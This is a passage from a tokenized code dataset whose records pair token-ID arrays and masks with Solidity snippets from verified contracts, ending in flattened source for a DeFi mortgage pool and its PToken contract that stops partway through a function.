[ 1, 225, 445, 741, 16348, 12, 203, 565, 467, 2531, 1147, 16, 203, 565, 1758, 628, 16, 203, 565, 1758, 358, 16, 203, 565, 2254, 5034, 3844, 203, 225, 262, 3238, 288, 203, 565, 467, 654, 39, 3462, 6808, 273, 1147, 18, 9341, 6291, 5621, 203, 565, 8828, 3245, 18, 2171, 2502, 4250, 273, 8828, 3245, 18, 1121, 12, 9341, 6291, 1769, 203, 565, 2583, 12, 1121, 18, 739, 1345, 422, 1147, 16, 296, 1090, 18556, 8284, 203, 203, 565, 10560, 1555, 264, 60, 18, 8981, 86, 344, 1555, 264, 60, 12, 9341, 6291, 1769, 203, 565, 2254, 5034, 729, 6275, 273, 4250, 18, 739, 1345, 18, 12296, 951, 12, 2080, 1769, 203, 565, 2254, 5034, 2078, 6275, 273, 4250, 18, 739, 1345, 18, 4963, 3088, 1283, 5621, 203, 203, 565, 2254, 5034, 316, 292, 16057, 67, 23604, 67, 8949, 31, 203, 565, 309, 261, 4963, 6275, 480, 374, 13, 288, 203, 1377, 316, 292, 16057, 67, 23604, 67, 8949, 273, 4250, 18, 87, 6544, 18, 16411, 12, 8949, 2934, 2892, 12, 4963, 6275, 1769, 203, 1377, 316, 292, 16057, 67, 23604, 67, 8949, 273, 3844, 31, 203, 565, 289, 203, 203, 565, 309, 261, 2080, 480, 1758, 12, 20, 3719, 288, 203, 1377, 2254, 5034, 1831, 67, 8949, 273, 4250, 18, 87, 6544, 18, 16411, 12, 1355, 6275, 2934, 2892, 12, 4963, 6275, 1769, 203, 1377, 2254, 5034, 598, 9446, 429, 67, 8949, 273, 1831, 67, 8949, 18, 1717, 12, 1121, 18, 87, 1190, 9446, 82, 63, 2080, 19226, 203, 1377, 309, 261, 1918, 2 ]
./full_match/5/0x04996Bf06a0654C8299041086115fbB0B836683f/sources/project_/contracts/ERC721A.sol
* @dev See {IERC721-safeTransferFrom}./
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } }
1,946,725
[ 1, 9704, 288, 45, 654, 39, 27, 5340, 17, 4626, 5912, 1265, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 1731, 3778, 389, 892, 203, 565, 262, 1071, 5024, 3849, 288, 203, 3639, 389, 13866, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 3639, 309, 261, 869, 18, 291, 8924, 10756, 309, 12, 5, 67, 1893, 8924, 1398, 654, 39, 27, 5340, 8872, 12, 2080, 16, 358, 16, 1147, 548, 16, 389, 892, 3719, 288, 203, 5411, 15226, 12279, 774, 3989, 654, 39, 27, 5340, 12952, 5726, 264, 5621, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x70fc3f6dE85B7E1d03ca934A61577ED53151c055/sources/RoundManager.sol
0x2cbef5b1356456a2830dfef6393daca2b3dfb7a5
paper = _paper;
8,576,903
[ 1, 20, 92, 22, 71, 2196, 74, 25, 70, 26612, 1105, 4313, 69, 6030, 5082, 2180, 10241, 4449, 11180, 72, 1077, 69, 22, 70, 23, 2180, 70, 27, 69, 25, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 15181, 273, 389, 27400, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: lib/ReentrancyGuard.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.12; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: iface/IPriceController.sol pragma solidity ^0.6.12; interface IPriceController { function getPriceForPToken(address token, address uToken, address payback) external payable returns (uint256 tokenPrice, uint256 pTokenPrice); } // File: iface/IInsurancePool.sol pragma solidity ^0.6.12; interface IInsurancePool { function setPTokenToIns(address pToken, address ins) external; function destroyPToken(address pToken, uint256 amount, address token) external; function eliminate(address pToken, address token) external; function setLatestTime(address token) external; } // File: iface/IERC20.sol pragma solidity ^0.6.12; interface IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/Address.sol pragma solidity 0.6.12; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: lib/SafeERC20.sol pragma solidity 0.6.12; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(ERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/TransferHelper.sol pragma solidity ^0.6.12; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File: iface/IPTokenFactory.sol pragma solidity ^0.6.12; interface IPTokenFactory { function getGovernance() external view returns(address); function getPTokenOperator(address contractAddress) external view returns(bool); function getPTokenAuthenticity(address pToken) external view returns(bool); } // File: iface/IParasset.sol pragma solidity ^0.6.12; interface IParasset { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function destroy(uint256 amount, address account) external; function issuance(uint256 amount, address account) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/SafeMath.sol pragma solidity ^0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0, "ds-math-div-zero"); z = x / y; // assert(a == b * c + a % b); // There is no case in which this doesn't hold } } // File: PToken.sol pragma solidity ^0.6.12; contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public symbol = ""; uint8 public decimals = 18; IPTokenFactory pTokenFactory; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; pTokenFactory = IPTokenFactory(address(msg.sender)); } //---------modifier--------- modifier onlyGovernance() { require(address(msg.sender) == pTokenFactory.getGovernance(), "Log:PToken:!governance"); _; } modifier onlyPool() { require(pTokenFactory.getPTokenOperator(address(msg.sender)), "Log:PToken:!Pool"); _; } //---------view--------- // Query factory contract address function getPTokenFactory() public view returns(address) { return address(pTokenFactory); } /// @notice The view of totalSupply /// @return The total supply of ntoken function totalSupply() override public view returns (uint256) { return _totalSupply; } /// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account function balanceOf(address owner) override public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) override public view returns (uint256) { return _allowed[owner][spender]; } //---------transaction--------- function changeFactory(address factory) public onlyGovernance { pTokenFactory = IPTokenFactory(address(factory)); } function transfer(address to, uint256 value) override public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) override public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) override public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function destroy(uint256 amount, address account) override external onlyPool{ require(_balances[account] >= amount, "Log:PToken:!destroy"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0x0), amount); } function issuance(uint256 amount, address account) override external onlyPool{ _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0x0), account, amount); } } // File: MortgagePool.sol pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; contract MortgagePool is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; // Governance address address public governance; // Underlying asset address => PToken address mapping(address=>address) public underlyingToPToken; // PToken address => Underlying asset address mapping(address=>address) public pTokenToUnderlying; // PToken address => Mortgage asset address => Bool mapping(address=>mapping(address=>bool)) mortgageAllow; // PToken address => Mortgage asset address => User address => Debt data mapping(address=>mapping(address=>mapping(address=>PersonalLedger))) ledger; // PToken address => Mortgage asset address => Users who have created debt positions(address) mapping(address=>mapping(address=>address[])) ledgerArray; // Mortgage asset address => Maximum mortgage rate mapping(address=>uint256) maxRate; // Mortgage asset address => Liquidation line mapping(address=>uint256) liquidationLine; // PriceController contract IPriceController quary; // Insurance pool contract IInsurancePool insurancePool; // PToken creation factory contract IPTokenFactory pTokenFactory; // Market base interest rate uint256 r0 = 0.02 ether; // Amount of blocks produced in a year uint256 oneYear = 2400000; // Status uint8 public flag; // = 0: pause // = 1: active // = 2: out only struct PersonalLedger { uint256 mortgageAssets; // Amount of mortgaged assets uint256 parassetAssets; // Amount of debt(Ptoken,Stability fee not included) uint256 blockHeight; // The block height of the last operation uint256 rate; // Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) bool created; // Is it created } event FeeValue(address pToken, uint256 value); /// @dev Initialization method /// @param factoryAddress PToken creation factory contract constructor (address factoryAddress) public { pTokenFactory = IPTokenFactory(factoryAddress); governance = pTokenFactory.getGovernance(); flag = 0; } //---------modifier--------- modifier onlyGovernance() { require(msg.sender == governance, "Log:MortgagePool:!gov"); _; } modifier whenActive() { require(flag == 1, "Log:MortgagePool:!active"); _; } modifier outOnly() { require(flag != 0, "Log:MortgagePool:!0"); _; } //---------view--------- /// @dev Calculate the stability fee /// @param parassetAssets Amount of debt(Ptoken,Stability fee not included) /// @param blockHeight The block height of the last operation /// @param rate Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) /// @param nowRate Current mortgage rate (not including stability fee) /// @return fee function getFee(uint256 parassetAssets, uint256 blockHeight, uint256 rate, uint256 nowRate) public view returns(uint256) { uint256 topOne = parassetAssets.mul(r0).mul(block.number.sub(blockHeight)); uint256 ratePlus = rate.add(nowRate); uint256 topTwo = parassetAssets.mul(r0).mul(block.number.sub(blockHeight)).mul(uint256(3).mul(ratePlus)); uint256 bottom = oneYear.mul(1 ether); return topOne.div(bottom).add(topTwo.div(bottom.mul(1 ether).mul(2))); } /// @dev Calculate the mortgage rate /// @param mortgageAssets Amount of mortgaged assets /// @param parassetAssets Amount of debt /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param pTokenPrice PToken price(1 ETH = ? pToken) /// @return mortgage rate function getMortgageRate(uint256 mortgageAssets, uint256 parassetAssets, uint256 tokenPrice, uint256 pTokenPrice) public pure returns(uint256) { if (mortgageAssets == 0 || pTokenPrice == 0) { return 0; } return parassetAssets.mul(tokenPrice).mul(1 ether).div(pTokenPrice.mul(mortgageAssets)); } /// @dev Get real-time data of the current debt warehouse /// @param mortgageToken Mortgage asset address /// @param pToken PToken address /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param uTokenPrice Underlying asset price(1 ETH = ? Underlying asset) /// @param maxRateNum Maximum mortgage rate /// @param owner Debt owner /// @return fee Stability fee /// @return mortgageRate Real-time mortgage rate(Including stability fee) /// @return maxSubM The maximum amount of mortgage assets can be reduced /// @return maxAddP Maximum number of coins that can be added function getInfoRealTime(address mortgageToken, address pToken, uint256 tokenPrice, uint256 uTokenPrice, uint256 maxRateNum, uint256 owner) public view returns(uint256 fee, uint256 mortgageRate, uint256 maxSubM, uint256 maxAddP) { PersonalLedger memory pLedger = ledger[pToken][mortgageToken][address(owner)]; if (pLedger.mortgageAssets == 0 && pLedger.parassetAssets == 0) { return (0,0,0,0); } uint256 pTokenPrice = getDecimalConversion(pTokenToUnderlying[pToken], uTokenPrice, pToken); uint256 tokenPriceAmount = tokenPrice; fee = getFee(pLedger.parassetAssets, pLedger.blockHeight, pLedger.rate, getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets, tokenPriceAmount, pTokenPrice)); mortgageRate = getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets.add(fee), tokenPriceAmount, pTokenPrice); uint256 maxRateEther = maxRateNum.mul(0.01 ether); if (mortgageRate >= maxRateEther) { maxSubM = 0; maxAddP = 0; } else { maxSubM = pLedger.mortgageAssets.sub(pLedger.parassetAssets.mul(tokenPriceAmount).mul(1 ether).div(maxRateEther.mul(pTokenPrice))); maxAddP = pLedger.mortgageAssets.mul(pTokenPrice).mul(maxRateEther).div(uint256(1 ether).mul(tokenPriceAmount)).sub(pLedger.parassetAssets); } } /// @dev Uniform accuracy /// @param inputToken Initial token /// @param inputTokenAmount Amount of token /// @param outputToken Converted token /// @return stability Amount of outputToken function getDecimalConversion(address inputToken, uint256 inputTokenAmount, address outputToken) public view returns(uint256) { uint256 inputTokenDec = 18; uint256 outputTokenDec = 18; if (inputToken != address(0x0)) { inputTokenDec = IERC20(inputToken).decimals(); } if (outputToken != address(0x0)) { outputTokenDec = IERC20(outputToken).decimals(); } return inputTokenAmount.mul(10**outputTokenDec).div(10**inputTokenDec); } /// @dev View debt warehouse data /// @param pToken pToken address /// @param mortgageToken mortgage asset address /// @param owner debt owner /// @return mortgageAssets amount of mortgaged assets /// @return parassetAssets amount of debt(Ptoken,Stability fee not included) /// @return blockHeight the block height of the last operation /// @return rate Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) /// @return created is it created function getLedger(address pToken, address mortgageToken, address owner) public view returns(uint256 mortgageAssets, uint256 parassetAssets, uint256 blockHeight, uint256 rate, bool created) { PersonalLedger memory pLedger = ledger[pToken][mortgageToken][address(owner)]; return (pLedger.mortgageAssets, pLedger.parassetAssets, pLedger.blockHeight, pLedger.rate, pLedger.created); } /// @dev View governance address /// @return governance address function getGovernance() external view returns(address) { return governance; } /// @dev View insurance pool address /// @return insurance pool address function getInsurancePool() external view returns(address) { return address(insurancePool); } /// @dev View the market base interest rate /// @return market base interest rate function getR0() external view returns(uint256) { return r0; } /// @dev View the amount of blocks produced in a year /// @return amount of blocks produced in a year function getOneYear() external view returns(uint256) { return oneYear; } /// @dev View the maximum mortgage rate /// @param mortgageToken Mortgage asset address /// @return maximum mortgage rate function getMaxRate(address mortgageToken) external view returns(uint256) { return maxRate[mortgageToken]; } /// @dev View the liquidation line /// @param mortgageToken Mortgage asset address /// @return liquidation line function getLiquidationLine(address mortgageToken) external view returns(uint256) { return liquidationLine[mortgageToken]; } /// @dev View the priceController contract address /// @return priceController contract address function getPriceController() external view returns(address) { return address(quary); } /// @dev View the ptoken address according to the underlying asset /// @param uToken Underlying asset address /// @return ptoken address function getUnderlyingToPToken(address uToken) external view returns(address) { return underlyingToPToken[uToken]; } /// @dev View the underlying asset according to the ptoken address /// @param pToken ptoken address /// @return underlying asset function getPTokenToUnderlying(address pToken) external view returns(address) { return pTokenToUnderlying[pToken]; } /// @dev View the debt array length /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @return debt array length function getLedgerArrayNum(address pToken, address mortgageToken) external view returns(uint256) { return ledgerArray[pToken][mortgageToken].length; } /// @dev View the debt owner /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @param index array subscript /// @return debt owner function getLedgerAddress(address pToken, address mortgageToken, uint256 index) external view returns(address) { return ledgerArray[pToken][mortgageToken][index]; } //---------governance---------- /// @dev Set contract status /// @param num 0: pause, 1: active, 2: out only function setFlag(uint8 num) public onlyGovernance { flag = num; } /// @dev Allow asset mortgage to generate ptoken /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @param allow allow mortgage function setMortgageAllow(address pToken, address mortgageToken, bool allow) public onlyGovernance { mortgageAllow[pToken][mortgageToken] = allow; } /// @dev Set insurance pool contract /// @param add insurance pool contract function setInsurancePool(address add) public onlyGovernance { insurancePool = IInsurancePool(add); } /// @dev Set market base interest rate /// @param num market base interest rate(num = ? * 1 ether) function setR0(uint256 num) public onlyGovernance { r0 = num; } /// @dev Set the amount of blocks produced in a year /// @param num amount of blocks produced in a year function setOneYear(uint256 num) public onlyGovernance { oneYear = num; } /// @dev Set liquidation line /// @param mortgageToken mortgage asset address /// @param num liquidation line(num = ? * 100) function setLiquidationLine(address mortgageToken, uint256 num) public onlyGovernance { liquidationLine[mortgageToken] = num.mul(0.01 ether); } /// @dev Set the maximum mortgage rate /// @param mortgageToken mortgage asset address /// @param num maximum mortgage rate(num = ? * 100) function setMaxRate(address mortgageToken, uint256 num) public onlyGovernance { maxRate[mortgageToken] = num.mul(0.01 ether); } /// @dev Set priceController contract address /// @param add priceController contract address function setPriceController(address add) public onlyGovernance { quary = IPriceController(add); } /// @dev Set the underlying asset and ptoken mapping and /// Set the latest redemption time of ptoken insurance /// @param uToken underlying asset address /// @param pToken ptoken address function setInfo(address uToken, address pToken) public onlyGovernance { require(underlyingToPToken[uToken] == address(0x0), "Log:MortgagePool:underlyingToPToken"); require(address(insurancePool) != address(0x0), "Log:MortgagePool:0x0"); underlyingToPToken[uToken] = address(pToken); pTokenToUnderlying[address(pToken)] = uToken; insurancePool.setLatestTime(uToken); } //---------transaction--------- /// @dev Set governance address function setGovernance() public { governance = pTokenFactory.getGovernance(); require(governance != address(0x0), "Log:MortgagePool:0x0"); } /// @dev Mortgage asset casting ptoken /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets /// @param rate custom mortgage rate function coin(address mortgageToken, address pToken, uint256 amount, uint256 rate) public payable whenActive nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(rate > 0 && rate <= maxRate[mortgageToken], "Log:MortgagePool:rate!=0"); require(amount > 0, "Log:MortgagePool:amount!=0"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; // Get the price and transfer to the mortgage token uint256 tokenPrice; uint256 pTokenPrice; if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransferFrom(address(msg.sender), address(this), amount); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); } else { require(msg.value >= amount, "Log:MortgagePool:!msg.value"); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], uint256(msg.value).sub(amount)); } // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance 